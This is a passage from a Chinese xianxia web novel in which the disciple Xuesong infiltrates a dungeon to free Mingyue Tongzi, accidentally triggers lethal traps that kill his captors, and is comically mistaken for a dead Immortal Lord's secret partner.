领导越说越生气,开始走来走去,伸出手对他们指指点点:“你们一个两个的都以为我眼睛瞎吗?我平时是懒得管你们!睁一只眼闭一只眼!结果呢?好心没好报!给你们放水,你们觉得我严?那就都别玩了!起来干活!全都干活!一个也别想休息!”
雪松左看看右看看,如果这个时候离开,周围的人都在被训斥,训斥别人的领导又那么生气,还一边走一边说话,他应该不会被发现,但是,里面的人就不知什么时候才能出来了。
他试着往里面传音:“听得见我说话吗?师父现在可能在哪,知道吗?”
结果刚开了个头,眼睁睁看着,大门把灵力波动抵消了一部分,旁边口水乱飞的领导忽然停下来,皱起眉头,眼珠转了转,脸上露出警惕的神色,狐疑地问:“谁在传音?!”
雪松猛然一惊,立刻停了下来,意识到自己要么走远一点再试一次,承担被发现的风险,要么就停下来,在这等着门开,或者自己把门搞开,让里面的人出来,到时候就算被发现也不止他一个,跑路都更轻松安全。
与此同时,他刚才的传音似乎真的传进去了,门缝里隐隐约约透出来一点,回应他的传音的灵力波动。
他站在门口,接收到一点,断断续续的,听见里面的人说:“听……什么……师父……不知道……”
领导紧皱眉头,毫不犹豫转身喝道:“把门打开!”
第73章
雪松倒吸一口凉气, 立刻意识到,刚才门里传出来的传音灵力波动,被不远处的领导发现了, 否则, 这人不会突然喝出这样一个命令来。
但现在他也帮不上什么忙,毕竟门是关着的, 传音也传不进去, 只能希望,里面的人暂时还没有解开隐身术, 仍然在等待出来的机会。
如果真是这样,等会儿门一打开, 他们就立刻冲出来, 倒也有机会摆脱现在的困境, 不算太糟糕。
这么想着, 雪松屏气凝神,悄无声息, 慢慢往后挪, 他倒不是没想过使用漂移法术,那样更不容易被发现脚下的破绽,可是,刚才传音术的波动都几乎被发现,现在要是再用别的,说不定会被警惕的领导当场抓包, 那就倒霉了。
他考虑了一下,没有那么做,极力放轻了声音,非常注意, 放缓了行动,领导的注意力放在了门上,没有注意到旁边的草丛的动静,也算雪松的运气好。
站在门口的小喽罗,听见领导刚才的大喝声,狠狠打了个哆嗦,好像大冷天忽然被风吹了一下,简直几乎和被板砖拍在脑门不由自主撞到墙上去一样。
随后他才意识到领导在说什么,立刻点了点头,忙不迭伸出手去开门,门缓缓在众人面前打开了。
里面站着一个黑漆漆的影子,所有人都吓了一跳,雪松瞪大了眼睛,喽罗愣住了,领导往前一步,紧紧皱着眉头,如同一只即将离弦的箭一般紧绷着,其他人吃了一惊,微张着嘴待在原地,不知究竟是谁,等在那里。
众人定睛一看,那个影子却不动,下一秒,一阵哗啦啦的声音响了起来,一群蝙蝠从里面飞了出来,那个漆黑色的人影也陡然间散开了。
原来那并不是一个人,而是蝙蝠的倒影,只是看起来像一个人而已,难怪那么黑漆漆的,一点都看不出面目,影子当然没有五官!
所有人都松了一口气。
雪松忽然感觉有人戳了他一下,猛然一惊,随后感到那个戳他的东西,抓住了他的手,向他比划起来,他明白了对方的意思。
之前在里面被关着的那些人应该出来了,刚才抓住他的就是他们其中之一,他之所以没办法像进去之前那样看见他们,是因为被门分开了,术法略微中断,他们的隐身术对他起了效果,只要重新连接上就好了。
他渐渐看得见另外三个人,分别是契约主人、回春堂的人和那个带路的假冒的明月童子,至于真正的明月童子——
雪松皱着眉头,向他们无声问:“人呢?”
回春堂的人在他手心比划道:“他说突然想起了重要的东西落在牢房里,现在回去取了!”
雪松闭了闭眼睛,无可奈何,就觉得有点荒谬,以至于想笑,睁开眼睛问:“你们让他一个人去?究竟落了什么东西?那么重要?非要去?不拿不行吗?”
回春堂的人一时无法回答这么多问题,像个运转过度而死机的电脑一样微微发热,额头几乎冒出白气,眨了眨眼睛,抬起手想要说什么,欲言又止之后,觉得太麻烦了,只能十分笼统对他摇了摇头,意思是,没办法。
也对,他们不是本人,大概也不清楚那么多内情,只能希望,明月童子要拿的真是什么重要的东西,而不是无关紧要的,白白浪费出来的机会和时间。
雪松想了想又问:“刚才的蝙蝠?”
回春堂的人指了指站在旁边微笑了一下的契约主人,雪松明白过来,这个人既然可以指挥老鼠,那多指挥一些蝙蝠也不是不可能,虽然不知道蝙蝠是怎么来的,但吓唬人已经足够了。
毕竟刚才真的把人吓到了,更多的东西就没必要追究了,反正蝙蝠们早就飞走了,就算是假的,现在也找不出什么痕迹,不用太担心。
雪松点了点头,不再问什么。
其他人都看向领导,等待下一步指示,领导本来被吓住了,但是被他们这样一看,好像自己十分受欢迎,非常重要,是团队的凝聚力核心,必须要做主心骨,支撑起来,一下子又有勇气了,昂首挺胸往前走去说:“进去查看一下!”
众人点了点头,跟着走了进去。
这下子,门外的空地立刻就没有人了。
雪松和隐身的其他同伴面面相觑,不约而同都松了一口气,顺便祈祷了一下里面的明月童子能够早点出来。
只要明月童子出来的时候没有撞上,其他人也正好要出来,他们被发现的概率就大大降低了,那他们的安全性就提升了。
门从里面被人打开了,众人定睛一看,出来的并不是明月童子,而是一个巡逻的,都有些失望,正要挪开目光,忽然发现不对。
这个人呆呆愣愣的,看起来像是被控制住了,头发里面还有一根小小的蘑菇,雪松若有所思靠近了他,他停住了脚步,似乎感知到了这里有人,把头转了过来,脸上是空洞的迷茫,忽然伸出了手,手上飞出一道信息。
雪松接了过去,发现这信息是明月童子传出来的,明月童子告诉他们,这个人被他短暂控制成为了傀儡,过一段时间会自己苏醒,不记得被控制时间的记忆,他已经拿到东西了,但是因为走廊上的人太多了,领导又临时进去检查,以至于里面检查的力度忽然就加大了,他被堵在里面,一时半会儿出不来,让他们想想办法,把他捞出去,要么先走,找到办法再回来救他。
契约主人疑惑:“他为什么不把他的重要东西送出来给我们?真要是有什么用,我们也好走啊!他光说让我们走,我们走哪儿去?又能找什么办法来救他?”
假冒的明月童子摇了摇头,瞥他一眼说:“你怎么连这都不明白?要么是送不出来,因为太显眼了,毕竟消息是无形的,只要遮掩好了,不一定被发现,但是东西是有形的,一不小心就要被抓现行,那可麻烦,要是毁了东西就更麻烦,要么是担心我们拿了东西就走,把他一个人丢在这儿不管了,他自己的安全就没保障,怎么可能给呢?”
话说完了,假冒的明月童子意识到自己不该说,连忙住嘴,但是这个时候已经有些迟了,于是左右看了看,发现回春堂的人和雪松都没看他,似乎不太在意他说的这些话,心里悄悄松了一口气,偷偷瞪了契约主人一眼。
没事就知道问问问!也不自己思考一下!差点把别人害了!真是讨厌!
新月主人眨巴眨巴眼睛,一脸无辜。你自己说话也要怪我吗?我只是顺便问一问而已。难道问都不能问了?你也可以不回答!我又没有强迫你。
雪松想了一想:“我进去找他试一试,你们就在外面等着吧,人太多,目标大,容易被发现,而且里面的人已经够多的了,要是全都在路上被堵住,那就太倒霉了!”
回春堂的人点了点头,一脸担忧望着他:“那你一个人去吧,千万要小心。”
雪松点了点头,正要走,回春堂的人忽然拉住他,从口袋里掏出一只绿色的草药磁性勋章来,递给他说:“这是回春堂用的联络法器,你带上,有什么消息,直接告诉我们,就不用专门使用法术了,不那么容易被发现,稍微安全一些。”
雪松点了点头,把那东西贴在了胸口,顿了顿,往他身边看了看,他立刻会意:“我会看好他们两个的!保证不给你添乱!他们一时半会儿还跑不了!何况,上了船哪有那么容易下去?”
雪松笑了一下:“那好,这里就交给你了,我先走了!”他拍了拍回春堂的人的肩膀,转头进入了门内,顺着走廊,按照之前的记忆一路往回走,很快就见到了正在仔细检查的一群人。
雪松想了想,决定找点办法吸引他们的注意力,自己趁机从他们中间溜进去,捡起一块石头,附着上自己的灵力,深吸一口气,往外丢了出去。
石头咕噜噜往外滚,发出了声音,灵力引起了波动,正在检查的众人都被吸引了注意,雪松屏气凝神,等着他们放松,想要从他们中间穿过去。
可是,他们只看了一眼,确认那只是块普通的石头,就放弃了继续查看,失去了兴趣,没有一点要挪位置的意思,简直像是没发现什么一样。
雪松意识到,一点简单的异常并不足以让他们转移注意力,想要制造机会从他们中间穿进去,只有对领导下手,哪怕领导在中间,看起来很安全,也必须这么做,因为他们最在乎领导了,不管是因为讨厌还是别的。
雪松隔空一拳揍了过去,只听砰的一声,领导坐着的椅子,一下子就翻了,领导趴在地上,满脸惊讶疑惑,下一秒,好端端的椅子在众人的目光中散了架,其他人一拥而上。
“领导!领导,你没事吧?”人们七嘴八舌说着,伸出手去想要把人扶起来,歪七扭八,踩着一片狼藉,试图用非常别扭的姿势,把头伸过去,以至于现场的情况看起来都有点诡异了。
领导猝不及防摔在地上愣了一下,看见他们丧尸一样围过来,吃了一惊,听见他们想求食的幼鸟一样叫起来,又忍不住皱眉,捂住了脸,觉得他们实在吵闹,声音沙哑而虚弱,愤怒中带点感到丢脸的逃避:“闭嘴!”
雪松早已趁机从他们旁边溜走,却不料这个时候,那一群人叽叽喳喳的,根本没听见领导虚弱的声音,还在试图靠近,一群人挤了过去,好像一群热气腾腾的狗试图把中间的猫挤死,领导听旁边的人还在讲话,深吸一口气,几乎觉得自己有些缺氧,脸红脖子粗,大喊道:“闭嘴!”
同时,领导的愤怒驱使他抓住了旁边不知什么东西,那东西和椅子一起掉落下来的,他也没细看,抓住就往前一丢,嗖的一声响。
雪松感觉后背有东西飞过来,浑身紧绷,猛然一转,往旁边躲去,那东西从他的脸颊擦过,狠狠砸在了旁边的墙壁上,缓缓落下来,啪叽啪叽,原来是一块爆浆的糕点。
其他人感受到了领导的爆发,全都呆住了,像一堆发呆的傻狍子一样,张着嘴巴,瞪着眼睛,倒吸一口凉气,直勾勾看着墙上的糕点一点一点落在地上,莫名有种粉身碎骨的东西是自己的错觉,轻轻打了哆嗦。
所有人因此安静如鸡,毕竟谁都不希望领导的怒气发泄在自己身上,面面相觑,都收回手,收回脚,低下头去,好像一堆被魔法控制的木偶,自己把自己收纳回了衣柜箱子。
雪松虽然平稳落地,而且距离那群人,已经并不算近了,不管是呼吸还是脚步还是衣物的摩擦,都不容易被他们发现,但是,他现在惊魂未定,毕竟那东西差点就从身后,飞过来砸进他的后脑勺,他稍微情绪波动也是可以理解的。
只是情绪波动,倒也不算什么大事,平复之后还可以继续走,问题在于,这群人太安静了,谁也不说话,谁也不动作,连呼吸都小心翼翼放轻了许多,好像不约而同都开始玩木头人一样,气氛都僵持了许多。
这种时候,雪松要是再做点什么,用不了多大的声音,他感觉自己立刻就会被发现,毕竟这么多人,之前闹哄哄的,听不出来也就算了,安静下来还听不出来,那绝对不会是耳朵的问题。
他敢赌,也没有这么个赌法的。何况,他现在也不想赌,因为现在做这事,显然收益极低,所以他不肯干。
众人就这样僵持着,也不知道什么时候是个头,除了领导和雪松,所有人都几乎有些瑟瑟发抖起来,不是因为冷,也不是因为紧张,而是因为长时间高度集中注意力,身体不由自主开始出现问题了。
雪松没出问题,是因为他根本不在人群的范围之内,没有受到他们的影响,也不在领导的目光之中,虽然不能大幅度行动,但悄悄活动一下还是可以的,反正那又不是他的领导,他也没什么可怕的。
所以比起那群人,他身上僵硬的部位少的多,这也是必要的,否则,准备逃跑的时候,身上忽然咔嚓咔嚓响起来,行动的声音再小,也不可能不被发现,毕竟骨头响的声音不是那么好被掩盖住的。
至于领导,众所周知,领导一向是找事而不是自己陷在事情风波之中的那一类存在,这个领导也不例外,虽然他是被雪松针对才掉下椅子的,但现在的情况,也不能不说是他一力促成。
要知道,如果没有他喊的第二声,现在那群人还是闹哄哄的,完全不会注意到别的,可惜他喊了,声音还特别大,在场的人都注意到了,连雪松也被牵连。
领导果然是这种破坏力极强的生物。
雪松默默在心里叹了一口气,祈祷这种糟糕的气氛能够尽快缓和,方便他冲到地牢的更深处去寻找真正的明月童子,不然,也不知道他找到人的时候,得有多晚去了。
不过现在这种情况也不是全无好处,至少,检查的人大概都在这,因为被领导吼了,所以只会呆呆站在那里,什么也不做,暂时不会立刻继续进行检查,明月童子即将被检查到的危机,应该可以同时暂缓。
就算还有少部分的其他人正在雪松不知道的情况下,继续对地牢进行检查,仍然有可能搜查到明月童子的痕迹和下落,但是,比起雪松面前这些人来说,那一部分人应该少很多,那危险也会小很多,即使明月童子没有帮手,如果只逃跑,大约也应付得来,至少会轻松很多。
从这一点上说,雪松现在遇到的这件事,喜忧参半吧。
领导冷着脸把所有人都震慑了之后,发现丢出去的居然是一块爆浆的糕点,也吓了一跳,那种外表干干燥燥,但一个劲掉屑,边缘还有一些不知道什么像舌头一样的粘稠触感,他刚拿到的时候,还以为自己抓错了东西,不小心把地上的什么虫子抓起来了。
幸好不过是一块会爆浆的糕点,他倒不至于害怕这个,缓了缓,心跳平复了很多,那种在下属面前丢脸的挫败感也消失了。
他深吸一口气,脸色像锅底一样黑,拍了拍手上的糕点碎屑,一只手按着地面,一只手扶着旁边散了架的椅子的残骸,试图从地上爬起来,顺便重新积累一下自己的气势。
但很不妙的是,他刚起了一点,就突然卡住了,与此同时,在场的所有人都听见了,从他的衣服里面,脖子下面,身体后面,传出来很清脆而清晰的一声,骨折一般的咔嚓。
领导身边的人都倒吸了一口凉气,猛然间抬起头,脸色微微发白,面面相觑,不知如何是好。
想要伸手过去帮忙,又想起领导之前呵斥了他们,现在还没有给他们行动的机会,不知道现在动,会不会惹领导生气。
想要站在原地,又觉得在别人身上咔嚓响的时候,尤其是这个人还在地上的时候,这么干巴巴站着,实在有点诡异,更何况,那人的身份还是领导,鬼知道现在不帮忙,之后会不会被穿小鞋。
但是这里这么多人,一个人不帮忙或许会被记住,要是一群人都不帮忙,领导应该也没有办法一口气把所有人都记在账上吧?那话怎么说来着?大家都犯错,等于大家都没犯错?希望领导大人有大量?
算了,领导什么时候有那种东西!站着吧!不做总不会错!如果有错,那一定是领导刚才让他们站着,又不肯给他们活动机会的错!他们可不相信领导不知道他们站在这儿,是因为领导刚才喊的那一声!
毕竟他们又不是脑子有病,或者根本没有脑子的稻草人,站在一个地方就一直站着,也不会觉得腰酸背痛什么的。
要知道他们本来应该检查地牢,检查完就走,或者去做自己的事情的!算算时间,运气好的人,现在都应该已经检查完去休息或者玩儿!可是现在呢?
现在他们一群人都还在这!总不能是他们检查的问题吧?这完全就是领导的问题!都是领导的错!领导最讨厌了!
于是一群人僵在原地,低下头去重新收回了目光,假装什么也没看见,他们是有了决定,而且有一群人,不太害怕领导事后找茬。毕竟他们现在这么做,只是按照之前领导的吩咐而已。
不敢乱来,也可以解释,是因为领导把他们吓着了,领导可是喊了两回,他们害怕自己可能又没听见领导的指示,所以没有立刻行动,也可以理解吧?
领导就惨了,爬也爬不起来,躺也躺不回去,躺回去太丢脸了,而且骨头痛,爬起来太费力了,而且骨头痛。
本来是不痛的,喀嚓的声音响了之后,领导还试图自己起来,但是这个时候,胃也开始痛了,领导的脸色一下子白了,身体开始抽筋,后背越来越痛,好像有人用一个圆滚滚的包着布和艾草叶的锤子,一锤一锤敲他的骨头缝,恨不得把他的骨头像敲鸡蛋一样敲散了,用了十成十的力度,随着时间推移,还在逐渐增加,仿佛握锤子的那个不存在的人的力气,将会从一开始的普通人中的大力士,变成世界级的大力士,最后变成无上限的超级高度大力士,能一拳把他捶死的那种。
领导倒吸一口凉气,扑通一声倒在地上,现在要不要起来,要不要躺下去,可就由不得他了,他几乎抽搐了,看起来像羊癫疯。
但他心里清楚,自己现在这情况,并不是那种病,他就是单纯的痛而已,实际上,他现在浑身上下最重要的,最糟糕的地方,也就是刚才发出声音,那个部分。
其他人愣了一下,没想到事情会发生到这个地步,犹豫着往前走,靠近了之后,想着事已至此,也没什么办法了,扑通扑通跪在地上,像一堆羊羔似的,哭丧着脸,哇哇大叫,仿佛要提前给领导过一遍丧事:“您怎么了?您这是怎么了?要怎么办才好?”
不管哪一个字,哪一句话听起来,尤其是在领导的耳朵里,听起来都跟哭丧似的,配上脸就更像了,简直像是在说,你怎么死了,不对,你怎么还没死,你还是快死吧!
领导被他们嗡嗡的声音吵得头痛欲裂,嗓子又干又渴又累,张了张嘴,都没有办法呵斥他们,又想到他们之前,因为被自己呵斥,而看着自己摔倒在地上,一动不动的样子,有些犹豫要不要再呵斥他们一遍,还没来得及考虑出结果,身体剧烈疼痛。
又累又气又痛的领导,两眼一翻,扑通一声,在众人面前,把扬起的后脑勺重重砸在了地上,晕了过去。
其他人也不知道这是不是气晕的,面面相觑,不知道谁扶,也不知道现在是先把人送出去救治比较好,还是先给药,但感觉不管做哪种事,都容易被讹上的样子,全都犹豫着,谁也没先动手,就在那里僵持住了。
雪松趁着他们吵闹的时候,已经蹑手蹑脚向里面冲去,早在他们僵持之前,就已经逃脱了他们的视线范围之内,见到了不远处,正躲在牢房里面的明月童子,松了一口气。
他立刻加快脚步走了过去,打开门,正要开口,忽然愣住,这个人不对,他好像认错了……
可是,谁会用隐身术,躲在这里,打扮得和明月童子一样,还刻意低着头垂着眼睛,侧身藏在阴影里,好像怕被人看见,又希望给人看见的样子?
中计了!
雪松猛然一惊,就要退出,但是晚了一步,身后的门猛然间关上了,甚至,在他的目光中,一点一点上了锁。
他倒吸一口凉气,往后退了两步,转头一看,刚才还蜷缩在牢房里的那个明月童子,已经散了架,原来只是一个用东西搓出来,施了法术伪装的假货。
虽然并不是很真,但他和明月童子不熟,着急来,着急走,担心被人发现,又隔着牢房和阴影,一时间没认出来,倒也情有可原。
另外一群人从牢房外的阴影中一点一点走出来,脸上露出一种大仇得报的喜悦和痛快,几乎是一边拍着手,一边跳着舞,出现的。
这群人的数量没有领导那边的人多,但也有三个,他们走到门口看了看,掏出一瓶现形水,从门缝里泼了进去。
雪松往后退,没有沾到水,但也被迫,现出了身形,也就不再维持隐身术,站在了他们面前。
他们相互看了看,用一种非常嘲讽的表情,指着雪松,大笑起来:“搞半天!原来只有这么一个人吗?真把人吓了一跳!我还以为有什么呢!”
雪松本来因为被关起来有点紧张,但是听他们这么一笑,忽然有点庆幸,幸好其他人没跟他一起来,他们不用被一下子全抓住。
他放松下来,呼吸都平稳了许多,往墙上靠了一下,试图暂时休息,虽然靠墙的休息肯定比不上躺在柔软舒适的床上闭着眼睛,但在被设计关进牢房,又被一群人虎视眈眈的情况下,这种休息已经足够了,更放松的休息,太容易丢命了,现在还是不考虑比较好。
但就是在这个时候,墙里咔嚓一声响,雪松还以为是不小心按着什么开关,或者里面藏着谁的尸体,骨头被他压断了,愣了一下,直起身来。
外面的人稍微隔得远了一些,没听见那声音,还以为他是靠在墙上把自己吓了一跳,更加大声,嘲讽起来:“这种胆子的人!这种胆子的人!居然也敢偷偷溜进来弄坏锁!真是可笑可笑!”
话音未落,他们一个两个忽然捂住自己的脖子,浑身抽搐起来,发出呜呜的声音,脸色逐渐变得青紫,嘴里吐出白沫,很快就扑通扑通倒在地上,像中毒的竹鼠一样死了。
雪松眨了眨眼睛,不明所以,但很快想到,也许是自己刚才碰到的那个地方,使他们中了毒,立刻往前两步,打算强行开门出去。
可是这个时候,道路入口又冲过来一群,听见声音而赶过来查看情况的人,他们和倒下去的人是同一伙人,看见倒在地上的人,立刻注意到牢房里准备出来的雪松,面色愤恨起来,破口大骂:“区区一个阶下囚!也敢动手吗?未免太看得起自己了吧?!给他点颜色看看!”
他们说着,就过来把牢房的锁门打开了,走进去,就要伸出手拽雪松的衣服,想要狠狠揍他一顿。
他往后退,又踩中了一块松动的砖头,那砖头藏在密密麻麻的稻草底下,既不显眼也不突出,但就是这块砖头,动了一下之后,墙上冒出机关,雪松对面的那群人,全都被密密麻麻的针,射了个满怀,脸上都遭了殃,看起来整个人像只刺猬,完全是活不了了。
雪松倒吸一口凉气,立刻从他们打开的门出去了,谁料到,时间还是被稍微耽误了一点,他出来的时候,跟着领导的那群人之中的一部分,也出现在了这里,大约是按部就班的检查到了附近,听见这里声音不对,才特地过来看一看,至于少的那部分人,估计抬着领导,出地牢治疗去了。
他们一看见地上的人,立刻意识到,这些人多半是被现场唯一一个还有活动能力,而且试图离开的雪松处理掉的,即使不是雪松亲手杀的,也肯定和雪松有关系,愤怒在瞬息间如同迎风的火炬一般被点燃了。
他们立刻向雪松靠近,一步一步,把雪松逼到了另外一个居然没有锁的牢房,就是雪松刚才待的那个牢房的对面。
雪松站在这个牢房里,看着他们愤怒而有些扭曲的脸,往后退了一步,莫名感觉自己踩到了什么东西,柔柔的软软的,有一点温度,好像旁边还有衣服,他挑了挑眉,神色有些诡异起来。
如果他没有找错地方,他刚才踩到的,会不会就是被设置陷阱的那些人捆绑之后堵住嘴的明月童子?真正的明月童子在这?
既然是来找人的,而现在人已经找到了,虽然不能说,得来全不费工夫,但也可以说踏破铁鞋无觅处,雪松一下子放松了很多。
他面不改色往旁边挪动,避免接着踩中明月童子,门外的人冲他喊道:“你别以为你在这里装模作样,我们就会被你吓到!我们可不是吓大的!你敢在这里闹事,我们一定叫你吃不了兜着走!”
话音未落,雪松又踩中了一块松动的砖头,他挑了挑眉,直觉告诉他,门外的人就要倒霉了。
果然,门外的人齐齐捂住了脖子,脸色惨白,随后变得青紫,嘴唇哆嗦着,往外吐出一堆一堆的白色泡沫,扑通一声栽倒在地上,晕过去没多久之后,就失去了气息,死了。
看来走廊上有专门针对妖修的毒,只要有人在某个牢房里踩住某一块松动的砖头,毒素就有可能爆发。
雪松转过身,往面前刚才踩到的地方丢了一个现行术,明月童子在他的面前显出身形,嘴被堵住,手脚被捆住,身体还被施加了僵硬的法术,一动也不能动,只用旁观了全程感到十分震撼的眼睛看着他。
雪松解开他的绳子,取下他嘴里的帕团,解除了他身上的无法柔软的法术,把他从地上扶起来:“没事吧?”
明月童子摇了摇头,用一种从此以后就唯其马首是瞻的表情,眼巴巴望着雪松,充满崇拜和感慨说:“我刚才都看见了!你真了不起!”
他一把抓住雪松,满脸兴奋,连珠炮似的迫不及待问:“你一定是故意装作没有发现他们的陷阱,所以走进去骗了他们,利用藏在牢房里的机关,把第一波人处理掉的吧?演技真好啊!我第一次看,还以为你真的没认出我呢!他们都被你骗过去了!”
雪松欲言又止:“我没有故意骗他们……”
“敌人都已经死了,不用继续编故事了!”明月童子摇了摇头,根本不相信他的话,一脸你一定是在考验我的表情:“你没有故意骗他们,你怎么会进牢房?你怎么知道机关在哪?你怎么能快准狠把他们处理掉?自己一点伤都没有!”
明月童子紧接着又十分兴奋问:“我听说,这里的设计,曾经借鉴过仙尊的一座宅邸,连机关都是按照仙尊那边的设计的!你知道有这回事吗?”
他顿了顿,忽然露出恍然大悟的表情,把手一拍,大声道:“你一定知道吧?不知道怎么可能精准利用那些开关?仙尊告诉过你?”
第74章
雪松十分无可奈何解释道:“我不知道这里有那些开关, 我也不知道,这里是按照雪松……”
他顿了顿,本来想说是仙尊的, 光记得仙尊和自己名字一样了, 想尽力解释来着,结果一时失误, 喊出了仙尊的名字, 不由得闭了闭眼睛,感到解释不清楚了。
果然, 下一秒,明月童子就用一种你不用再骗我了的表情, 拍了拍他的肩膀, 语气沉沉告诉他:“我已经猜到了!你就是仙尊那个传说中没有人见过的的道侣吧?”
雪松睁开眼睛, 张了张口, 想要解释,明月童子就抬起手, 用一种不, 你不用说话的表情,对他摆了摆手指,十分自信的语气好像那个百发百错但是仍然第一个开口的侦探一样问:“如果不是,你怎么称呼仙尊的名字?大家一般都喊仙尊的,这是尊称,毕竟仙尊有修为, 有身份,有地位,又已经死了,喊名字还未必有几个人知道。但是刚才——”
他摸了摸下巴, 用一种我已经看透一切的目光看着雪松说:“你喊了仙尊的名字!虽然是失误,但是,和仙尊毫无关系的人,可不会有机会出现这种失误!你是因为,从前是仙尊的道侣,所以对仙尊直呼其名,表示亲近,才会有这种失误吧?”
雪松沉默了一会儿,仍然试图辩解,只是声音已经弱了许多:“我不知道这里是按照仙尊的宅邸设计的……”
他顿了顿,神色颇为复杂,表情几乎有一瞬间的扭曲,咬牙道:“实际上,我根本不知道仙尊有任何一座宅邸是按照这种情况设计的!”想也知道吧?
谁会把自己家按照地牢设计?不管是哪个洞府都根本和这里不像啊?!那种地牢是按照仙尊宅邸设计的传言究竟是从哪里来的?!
如果这地牢真是按照仙尊宅邸设计的,那岂不是等于仙尊住在地牢里?这合理吗?这正常吗?这可能吗?这不应该吧?!
从传言出现到今天,应该不止一天吧?居然没有人怀疑这个传言有问题吗?!他们究竟在想什么?!
他们觉得仙尊住在地牢?还是觉得地牢按照仙尊的宅邸设计,就变得更能关住人或者更高大上更有档次?哪个被关进来的人想要这种档次啊?这没有必要吧?
人都被关进来了,还追求那种东西,是不是有点华而不实了?说不定过几天都要死了!谁还在乎那些?太身外之物了吧?
更何况,仔细看看这里吧!这里无论怎么看都很能住人的地方,不太像啊?仙尊要是真住在这种地方,太惨了吧?!
就算是犯人住在这里,也不会觉得比住在别的牢房,更加有面子,更加享受好吗?那很诡异啊!
谁会在被关起来的时候注意那些东西啊?!
还有啊,看看那些躺在地上已经死掉的人吧!虽然他们死得很快,但不能忽视他们一看就死得很惨的事实啊!
一不小心就会死这么惨,这个牢房根本一点也不安全,根本不是牢房,是处刑地吧?仙尊要是真住在这么危险的地方,他是想每天死一次来玩吗?还是想要在招待朋友的时候把朋友弄死?这是朋友吗?这不可能吧?
仙尊的府邸在其他人眼里究竟是什么样子?其他人的眼里,仙尊又是什么样子?住在山洞里的蜘蛛精吗?也不至于吧?
反正雪松是从来没有想过,仙尊有可能在别人眼里是那么一种样子的,毕竟他一般不能用第三视角来旁观自己,这很奇怪。
雪松充满期待望着明月童子,希望他能明白自己的意思,不要再误解下去,不过,事与愿违,明月童子误解了他的意思,露出恍然大悟的表情:“你为什么这么肯定?你了解仙尊所有的宅邸吗?仙尊全都告诉你了?还是全都带你去住过?”
明月童子说到这里顿了顿,不知想到了什么,脸上逐渐红了起来,双目微微发直,神色若有所思,唇角微微勾起,看起来甚至有点诡异,像只嗅到猫薄荷之后翘尾巴一个劲原地转圈喵喵乱叫的猫一样,颇为兴奋似的,喃喃道:“如果是这样,仙尊一定带你去过很多地方?你全都记得?这也太刺激了!一定很有意思吧?可惜我从前居然什么也不知道!”
他握着拳头跺了跺脚,好像看见有人棋盘上错失良机似的,脸上露出一闪而过的懊悔的神色,随后又兴奋起来,仿佛一只好不容易能够出门散散步的拉布拉多一样:“仙尊怎么带你去的,居然能躲过其他人?谁也不知道?有没有人给你们打掩护?仙尊在宗门里的住处,你一定去过吧?那里怎么样?”
雪松明确感觉到说不通了,叹了一口气,用一种我是不会告诉你的目光,看着他,试图最后辩解一次:“我没有去过!”
明月童子摇了摇头:“我不相信。”
雪松破罐破摔:“对,我去过,住了好久,根本没人发现,你不要再说了,让别人知道不好,仙尊已经死了,我不想坏了他的名声。
他活着的时候,清清白白的,死了跟我扯上关系,有些人可能接受不了,我不想他因为我被别人骂,他活着的时候什么样子,大家都知道,他也不会想挨骂的。”
听闻此言,明月童子第一反应愣了一下,随后倒吸一口凉气,双手捂住了嘴,一副十分震惊的样子,眨了眨眼睛,眼眶立刻就红了,眼中泛起泪光,最好的演员也没有这样快的落泪速度,声音微微哽咽道:“你……”
雪松挑了挑眉,不明所以。
明月童子缓了一会儿,情绪稍稍平稳,眼眶反而更红了一些,泪光倒少了一点,没有落下来,情绪十分复杂似的,声音轻轻颤抖着,才继续说了下去:“你居然这样为仙尊考虑?哪怕他已经死了?而且,死了不止一天两天?
我记得,他的所有东西,都在他死后,归了宗门吧?你什么都没有得到,居然还这样为他着想?你这么爱他吗?”
他顿了顿,用更加复杂的目光注视着雪松,摇着头感慨道:“我还以为,像你们这样的人,只会出现在可歌可泣的爱情故事里,不会出现在现实呢,没想到让我亲眼看见了,真是意外,意外啊!”
雪松被他两声意外的感慨,说得起了一身的鸡皮疙瘩,没有谁比雪松更清楚,自己和仙尊究竟是什么关系,以至于听人这样情真意切,有种骗人跳海的错觉,不由自主打了个哆嗦,摆了摆手,试图纠正他:“你说的不对。
他的大部分东西确实归了宗门,但那些东西都是他留在宗门里的,他也自愿留给宗门,我没有什么意见,我也都知道。
但他还有一部分的东西,留给了我,这些东西,我都带着,我身上就有,可以给你看,我的剑和我手上的镯子,就是他留给我的。”
明月童子听了这话,若有所思点了点头,目光顺着他摆动的手,注视到了他的手腕的镯子,感慨道:“看起来还不错!从来没听说过,仙尊会平白无故送谁东西,既然他送了你这些,想必是把你放在心上的。”
你小子运气真好啊,仙尊那样有头有脸,有身份,有地位,有能力有修为的人,居然能让你收入囊中,你少不得有点本事,也是真与众不同,居然能够得仙尊为你如此神魂颠倒,要不是时机不对,真想拜你为师,向你请教请教,如何讨那些大人物的欢心!
这个时候,明月童子才想起来,虽然地牢里暂时安全了,但他们还是最好不要在这里久待,不然地牢外面的人过来检查,检查到他们这儿,只要看一眼,他们就一定要倒霉了。
他连忙拉住雪松,一脸信任说:“既然你之前能那么轻易解决掉那些敌人,我相信你,现在也一定可以想到离开的办法的!对吧?”
“离开的办法?”雪松感到疑惑:“我们不能直接走出去吗?既然地牢已经安全了,其他人还在门外等我们,我们出去和他们会合不就好了?”
“话是这么说,”明月童子松开他,叹了一口气,“可是我觉得现在出去很危险,而且见了他们又能怎么样,他们又不知道,要怎么去找师父……”
明月童子说着,叹了一口气,蹲在了旁边,像一朵发了霉的蘑菇,雪松从他的语气里隐约听出一点蹊跷:“你究竟回来找什么?你有办法了?你知道怎么找人?直说吧?”
明月童子低着头,又叹了一口气回答:“我回来是为了找师父留给我的玉佩,这块玉佩可以指引我找到师父的踪迹,但是——”
他迟疑着,不肯说清楚,雪松只好追问:“但是什么?”
明月童子把头往旁边一偏,看着墙说:“但是,玉佩不小心多了一条裂痕,指引着地牢,我不知道……”
不知道这是什么意思,不知道应该怎么做,不知道这是不是意味着,如果想要找人,必须要从地牢找起,不知道这是不是玉佩在告诉他,地牢有不为人知的密道,可以通向外面。
这个时候,两个人都听见了来自走廊外的脚步声,脚步声密集而杂乱,他们听得出来,这些声音不是和他们一起来的同伴发出的。
“快!没有时间了!快想啊!”明月童子猛然间站起身来,抓住雪松说:“你一定能想到办法的!你一定知道的!应该怎么离开呢?就靠你了!随便干点什么吧!”
也许随便干点什么就可以找到出路了。
雪松摇了摇头,把手从明月童子的手里抽了出来,往后退了一步说:“我不知道!”
